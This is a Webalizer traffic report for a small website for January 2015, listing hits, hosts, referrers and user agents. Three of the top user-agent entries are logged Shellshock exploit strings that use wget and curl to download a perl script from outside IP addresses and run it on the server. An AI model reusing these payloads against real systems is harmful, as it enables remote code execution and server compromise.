Usage Statistics for softappsindia.com

Summary Period: January 2015
Generated 01-Feb-2015 02:15 Eastern Standard Time

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for January 2015
Total Hits 1550
Total Files 825
Total Pages 1185
Total Visits 823
Total KBytes 2216
Total Unique Sites 566
Total Unique URLs 2
Total Unique Referrers 14
Total Unique User Agents 91
. Avg Max
Hits per Hour 2 196
Hits per Day 50 271
Files per Day 26 73
Pages per Day 38 216
Visits per Day 26 70
KBytes per Day 71 436
Hits by Response Code
Code 200 - OK 825
Code 304 - Not Modified 1
Code 404 - Not Found 722
Code 405 - Method Not Allowed 2

Daily usage for January 2015

Daily Statistics for January 2015
Day Hits Files Pages Visits Sites KBytes
1 24 1.55% 20 2.42% 22 1.86% 22 2.67% 23 4.06% 30 1.35%
2 29 1.87% 24 2.91% 24 2.03% 21 2.55% 21 3.71% 37 1.68%
3 37 2.39% 25 3.03% 27 2.28% 27 3.28% 31 5.48% 50 2.25%
4 88 5.68% 31 3.76% 43 3.63% 35 4.25% 40 7.07% 134 6.04%
5 42 2.71% 25 3.03% 29 2.45% 29 3.52% 33 5.83% 58 2.63%
6 32 2.06% 21 2.55% 24 2.03% 24 2.92% 27 4.77% 44 1.97%
7 44 2.84% 33 4.00% 32 2.70% 29 3.52% 29 5.12% 57 2.56%
8 32 2.06% 26 3.15% 27 2.28% 22 2.67% 25 4.42% 38 1.71%
9 27 1.74% 21 2.55% 22 1.86% 22 2.67% 22 3.89% 34 1.53%
10 35 2.26% 24 2.91% 25 2.11% 21 2.55% 26 4.59% 44 1.98%
11 31 2.00% 18 2.18% 20 1.69% 20 2.43% 25 4.42% 43 1.95%
12 35 2.26% 29 3.52% 29 2.45% 26 3.16% 30 5.30% 42 1.90%
13 21 1.35% 14 1.70% 16 1.35% 16 1.94% 18 3.18% 29 1.29%
14 80 5.16% 24 2.91% 35 2.95% 27 3.28% 30 5.30% 129 5.80%
15 28 1.81% 25 3.03% 25 2.11% 25 3.04% 25 4.42% 34 1.53%
16 64 4.13% 23 2.79% 51 4.30% 23 2.79% 26 4.59% 97 4.37%
17 43 2.77% 20 2.42% 41 3.46% 22 2.67% 22 3.89% 63 2.86%
18 89 5.74% 24 2.91% 75 6.33% 22 2.67% 24 4.24% 144 6.52%
19 26 1.68% 20 2.42% 23 1.94% 23 2.79% 21 3.71% 33 1.51%
20 41 2.65% 29 3.52% 30 2.53% 26 3.16% 29 5.12% 56 2.51%
21 38 2.45% 25 3.03% 27 2.28% 27 3.28% 30 5.30% 51 2.30%
22 38 2.45% 24 2.91% 25 2.11% 21 2.55% 23 4.06% 52 2.36%
23 25 1.61% 19 2.30% 23 1.94% 23 2.79% 22 3.89% 28 1.28%
24 33 2.13% 28 3.39% 30 2.53% 27 3.28% 26 4.59% 39 1.77%
25 51 3.29% 44 5.33% 44 3.71% 44 5.35% 45 7.95% 63 2.86%
26 271 17.48% 73 8.85% 216 18.23% 70 8.51% 62 10.95% 436 19.68%
27 84 5.42% 28 3.39% 77 6.50% 30 3.65% 30 5.30% 130 5.87%
28 43 2.77% 28 3.39% 29 2.45% 29 3.52% 33 5.83% 59 2.68%
29 48 3.10% 24 2.91% 36 3.04% 20 2.43% 24 4.24% 71 3.19%
30 31 2.00% 26 3.15% 26 2.19% 23 2.79% 26 4.59% 38 1.74%
31 40 2.58% 30 3.64% 32 2.70% 27 3.28% 24 4.24% 52 2.34%

Hourly usage for January 2015

Hourly Statistics for January 2015
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 0 26 1.68% 0 16 1.94% 0 18 1.52% 1 36 1.63%
1 1 39 2.52% 1 33 4.00% 1 33 2.78% 2 49 2.20%
2 1 42 2.71% 0 28 3.39% 0 30 2.53% 2 56 2.54%
3 1 42 2.71% 1 35 4.24% 1 37 3.12% 2 53 2.37%
4 0 24 1.55% 0 19 2.30% 0 20 1.69% 1 30 1.34%
5 1 57 3.68% 0 29 3.52% 1 44 3.71% 3 83 3.73%
6 1 50 3.23% 1 37 4.48% 1 39 3.29% 2 65 2.93%
7 2 84 5.42% 1 40 4.85% 2 67 5.65% 4 125 5.64%
8 3 102 6.58% 0 28 3.39% 1 59 4.98% 5 164 7.41%
9 1 47 3.03% 0 29 3.52% 1 31 2.62% 2 62 2.80%
10 1 36 2.32% 1 31 3.76% 1 34 2.87% 1 44 1.96%
11 5 167 10.77% 2 77 9.33% 3 116 9.79% 8 247 11.17%
12 0 20 1.29% 0 18 2.18% 0 18 1.52% 1 22 1.01%
13 1 31 2.00% 0 25 3.03% 0 24 2.03% 1 38 1.72%
14 1 33 2.13% 0 28 3.39% 0 28 2.36% 1 41 1.84%
15 7 239 15.42% 1 38 4.61% 5 182 15.36% 13 401 18.10%
16 1 39 2.52% 0 25 3.03% 0 25 2.11% 2 52 2.35%
17 2 89 5.74% 1 34 4.12% 2 84 7.09% 4 134 6.04%
18 1 42 2.71% 0 30 3.64% 0 30 2.53% 2 56 2.53%
19 2 90 5.81% 1 44 5.33% 2 75 6.33% 4 133 5.99%
20 1 35 2.26% 0 25 3.03% 0 28 2.36% 1 40 1.80%
21 2 74 4.77% 1 47 5.70% 1 52 4.39% 3 103 4.64%
22 2 84 5.42% 1 59 7.15% 1 59 4.98% 4 113 5.09%
23 1 58 3.74% 1 50 6.06% 1 52 4.39% 2 70 3.17%

Top 1 of 2 Total URLs
# Hits KBytes URL
1 819 52.84% 910 41.08% /

Top 1 of 2 Total URLs By KBytes
# Hits KBytes URL
1 819 52.84% 910 41.08% /

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 819 52.84% 766 100.00% /

Top 1 of 1 Total Exit Pages
# Hits Visits URL
1 819 52.84% 760 100.00% /

Top 30 of 566 Total Sites
# Hits Files KBytes Visits Hostname
1 192 12.39% 2 0.24% 342 15.43% 1 0.12% 183.60.243.190
2 97 6.26% 65 7.88% 131 5.92% 17 2.07% spider-100-43-81-136.yandex.com
3 60 3.87% 2 0.24% 107 4.83% 2 0.24% 209.92.176.48
4 48 3.10% 1 0.12% 85 3.84% 1 0.12% 37-115-49-55-broadband.kyivstar.net
5 31 2.00% 1 0.12% 55 2.50% 2 0.24% 209.92.176.24
6 20 1.29% 0 0.00% 36 1.63% 1 0.12% 195-154-33-3.rev.poneytelecom.eu
7 13 0.84% 1 0.12% 23 1.03% 1 0.12% 202.91.228.39
8 13 0.84% 13 1.58% 14 0.65% 13 1.58% hn.kd.ny.adsl
9 10 0.65% 10 1.21% 3 0.15% 10 1.22% 185.35.62.11
10 10 0.65% 9 1.09% 12 0.54% 9 1.09% crawl-66-249-64-96.googlebot.com
11 10 0.65% 8 0.97% 13 0.57% 8 0.97% crawl-66-249-65-153.googlebot.com
12 9 0.58% 0 0.00% 16 0.73% 1 0.12% 109.251.81.13.freenet.com.ua
13 9 0.58% 0 0.00% 16 0.73% 1 0.12% 122.155.34.107
14 9 0.58% 0 0.00% 16 0.73% 1 0.12% 145.108.145.251
15 9 0.58% 0 0.00% 16 0.73% 1 0.12% 173-4-200-46.pool.ukrtel.net
16 9 0.58% 0 0.00% 16 0.73% 1 0.12% 176.15.109.7
17 9 0.58% 0 0.00% 16 0.73% 1 0.12% 203.106.119.225
18 9 0.58% 0 0.00% 16 0.73% 1 0.12% 218.209.195.105
19 9 0.58% 0 0.00% 16 0.73% 1 0.12% 37-115-136-126-broadband.kyivstar.net
20 9 0.58% 0 0.00% 16 0.73% 1 0.12% 95.58.140.19.megaline.telecom.kz
21 9 0.58% 7 0.85% 11 0.51% 7 0.85% crawl-66-249-64-163.googlebot.com
22 9 0.58% 7 0.85% 11 0.51% 7 0.85% crawl-66-249-67-115.googlebot.com
23 9 0.58% 0 0.00% 16 0.73% 1 0.12% dnapc
24 8 0.52% 6 0.73% 10 0.47% 6 0.73% crawl-66-249-64-92.googlebot.com
25 7 0.45% 0 0.00% 13 0.56% 0 0.00% 125.64.35.67
26 7 0.45% 4 0.48% 10 0.44% 4 0.49% atlantic626.dedicatedpanel.com
27 7 0.45% 5 0.61% 9 0.41% 5 0.61% crawl-66-249-64-91.googlebot.com
28 7 0.45% 3 0.36% 11 0.47% 3 0.36% crawl-66-249-64-99.googlebot.com
29 7 0.45% 5 0.61% 9 0.41% 5 0.61% crawl-66-249-65-149.googlebot.com
30 6 0.39% 0 0.00% 11 0.48% 0 0.00% 125.64.35.68

Top 10 of 566 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 192 12.39% 2 0.24% 342 15.43% 1 0.12% 183.60.243.190
2 97 6.26% 65 7.88% 131 5.92% 17 2.07% spider-100-43-81-136.yandex.com
3 60 3.87% 2 0.24% 107 4.83% 2 0.24% 209.92.176.48
4 48 3.10% 1 0.12% 85 3.84% 1 0.12% 37-115-49-55-broadband.kyivstar.net
5 31 2.00% 1 0.12% 55 2.50% 2 0.24% 209.92.176.24
6 20 1.29% 0 0.00% 36 1.63% 1 0.12% 195-154-33-3.rev.poneytelecom.eu
7 13 0.84% 1 0.12% 23 1.03% 1 0.12% 202.91.228.39
8 9 0.58% 0 0.00% 16 0.73% 1 0.12% 109.251.81.13.freenet.com.ua
9 9 0.58% 0 0.00% 16 0.73% 1 0.12% 122.155.34.107
10 9 0.58% 0 0.00% 16 0.73% 1 0.12% 145.108.145.251

Top 10 of 14 Total Referrers
# Hits Referrer
1 4 0.26% http://downloadg5.com
2 3 0.19% http://getdownload.ws
3 1 0.06% SOFTAPPSINDIA.COM
4 1 0.06% SOFTAPPSINDIA.com/index.php
5 1 0.06% http://66.232.58.210/
6 1 0.06% http://onlinebooksclub.com
7 1 0.06% http://www.google.com/search
8 1 0.06% http://www.netcraft.com/survey/
9 1 0.06% http://xrumertool.wordpress.com/
10 1 0.06% https://www.google.com/search

Top 1 of 1 Total Search Strings
# Hits Search String
1 1 100.00% free proxy checker

Top 15 of 91 Total User Agents
# Hits User Agent
1 354 22.84% Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0)
2 192 12.39% Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_4)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.125+Safari/537.36
3 138 8.90% Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)
4 109 7.03% Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)
5 97 6.26% Mozilla/5.0+(compatible;+YandexBot/3.0;++http://yandex.com/bots)
6 92 5.94% Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko
7 48 3.10% WinInet+Test
8 34 2.19% Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+98)
9 30 1.94% )+{+:;};/usr/bin/perl+-e+'print+"Content-Type:+text/plain\r\n\r\nXSUCCESS!";system("rm+-rf+/tmp/b.pl*;wget+http://209.62.118.82/ou.pl+-O+/tmp/b.pl;curl+-O+/tmp/b.pl+http://209.62.118.82/ou.pl;perl+
10 30 1.94% )+{+:;};/usr/bin/perl+-e+'print+"Content-Type:+text/plain\r\n\r\nXSUCCESS!";system("rm+-rf+/tmp/b.pl*;wget+http://85.17.201.10/ou.pl+-O+/tmp/b.pl;curl+-O+/tmp/b.pl+http://85.17.201.10/ou.pl;perl+/t
11 30 1.94% )+{+:;};/usr/bin/perl+-e+'print+"Content-Type:+text/plain\r\n\r\nXSUCCESS!";system("wget+http://69.64.75.181/img.bin+-O+/tmp/s.pl;curl+-O+/tmp/s.pl+http://69.64.75.181/img.bin;perl+/tmp/s.pl;rm+-rf
12 30 1.94% NerdyBot
13 25 1.61% Mozilla/5.0+(Windows+NT+5.1;+rv:6.0.2)+Gecko/20100101+Firefox/6.0.2
14 17 1.10% Mozilla/5.0+(iPhone;+CPU+iPhone+OS+6_0+like+Mac+OS+X)+AppleWebKit/536.26+(KHTML,+like+Gecko)+Version/6.0+Mobile/10A5376e+Safari/8536.25+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)
15 14 0.90% Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.3;+Trident/7.0;+.NET4.0E;+.NET4.0C;+.NET+CLR+3.5.3072;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.30729;+Tablet+PC+2.0)

Usage by Country for January 2015

Top 19 of 19 Total Countries
# Hits Files KBytes Country
1 927 59.81% 468 56.73% 1335 60.24% Unresolved/Unknown
2 467 30.13% 328 39.76% 625 28.19% US Commercial
3 92 5.94% 11 1.33% 157 7.08% Network
4 9 0.58% 0 0.00% 16 0.73% Kazakhstan
5 9 0.58% 0 0.00% 16 0.73% Ukraine
6 7 0.45% 3 0.36% 11 0.48% Germany
7 7 0.45% 0 0.00% 13 0.57% Indonesia
8 6 0.39% 2 0.24% 8 0.36% Brazil
9 4 0.26% 2 0.24% 6 0.26% Seychelles
10 4 0.26% 0 0.00% 7 0.33% Thailand
11 3 0.19% 3 0.36% 3 0.15% US Educational
12 3 0.19% 1 0.12% 4 0.18% Italy
13 2 0.13% 1 0.12% 3 0.13% Non-Profit Organization
14 2 0.13% 2 0.24% 2 0.10% China
15 2 0.13% 1 0.12% 3 0.13% British Indian Ocean Territory
16 2 0.13% 0 0.00% 4 0.16% Poland
17 2 0.13% 2 0.24% 2 0.10% Russian Federation
18 1 0.06% 0 0.00% 0 0.01% Czech Republic
19 1 0.06% 1 0.12% 1 0.05% United States


Generated by Webalizer Version 2.01